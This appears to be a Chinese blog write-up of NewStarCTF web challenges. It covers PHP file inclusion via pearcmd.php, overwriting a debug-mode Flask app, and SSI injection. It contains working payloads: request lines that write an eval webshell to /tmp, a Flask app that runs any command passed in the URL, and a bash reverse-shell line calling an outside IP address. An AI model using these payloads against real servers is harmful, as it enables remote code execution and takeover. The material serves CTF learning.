• newstarctf


    官方wp

     椰奶师傅wp

    web:

    文件包含pearcmd.php的RCE

    要利用这个pearcmd.php需要满足几个条件:

    (1).要开启register_argc_argv这个选项在Docker中使自动开启的

    (2).要有文件包含的利用

    pearcmd.php的妙用

    1. error_reporting(0);
    2. if(isset($_GET['file'])) {
    3. $file = $_GET['file'];
    4. if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
    5. die('hacker!');
    6. }
    7. include($file.".php");
    8. # Something in phpinfo.php!
    9. }
    10. else {
    11. highlight_file(__FILE__);
    12. }
    13. ?>
    2.利用

    看到config-create,去阅读其代码和帮助,可以知道,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。

    注意1:用burpsuite传GET,用hackbar会被url编码,传入文件无法解析

    1. /?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/eval($_POST[1]);?>+/tmp/mochu7.php
    2. /?+config-create+/&file=/usr/local/lib/php/pearcmd&/eval($_POST[1]);?>+/tmp/hello.php

     访问hello.php

    3.week4 flask disk

    访问admin manage发现要输入pin码,说明flask开启了debug模式。

    flask开启了debug模式下,app.py源文件被修改后会立刻加载。

    所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了。注意语法不能出错,否则会崩溃。

    1. from flask import Flask,request
    2. import os
    3. app = Flask(__name__)
    4. @app.route('/')
    5. def index():
    6. try:
    7. cmd=request.args.get('cmd')
    8. data=os.popen(cmd).read()
    9. return data
    10. except:
    11. pass
    12. return "1"
    13. if __name__=='__main__':
    14. app.run(host='0.0.0.0',port=5000,debug=True)

     或者反弹shell

    1. import os
    2. os.system("bash -c \"bash -i >& /dev/tcp/36.139.110.159/7777 0>&1\"")

    4.ssi漏洞(服务器包含漏洞)

    开启ssi配置,shtml文件表示服务器当前开启了SSICGI支持,可以使用语法执行命令,参考资料

    题目中username被写入了shtml文件,所以将其值修改为:
    在这里插入图片描述

  • 相关阅读:
    重庆大学c++2022级-期末模拟考试
    AI二次开发C#复合路径
    【无标题】
    作业day6
    MySQL日志
    深入浅出Pytorch中的计算细节_input/output
    Elasticsearch:如何在不更新证书的情况下为集群之间建立互信
    python二次开发CATIA:文字轮廓草图
    Redis的特性和应用场景
    比特集训营第一课
  • 原文地址:https://blog.csdn.net/m0_73847654/article/details/133470698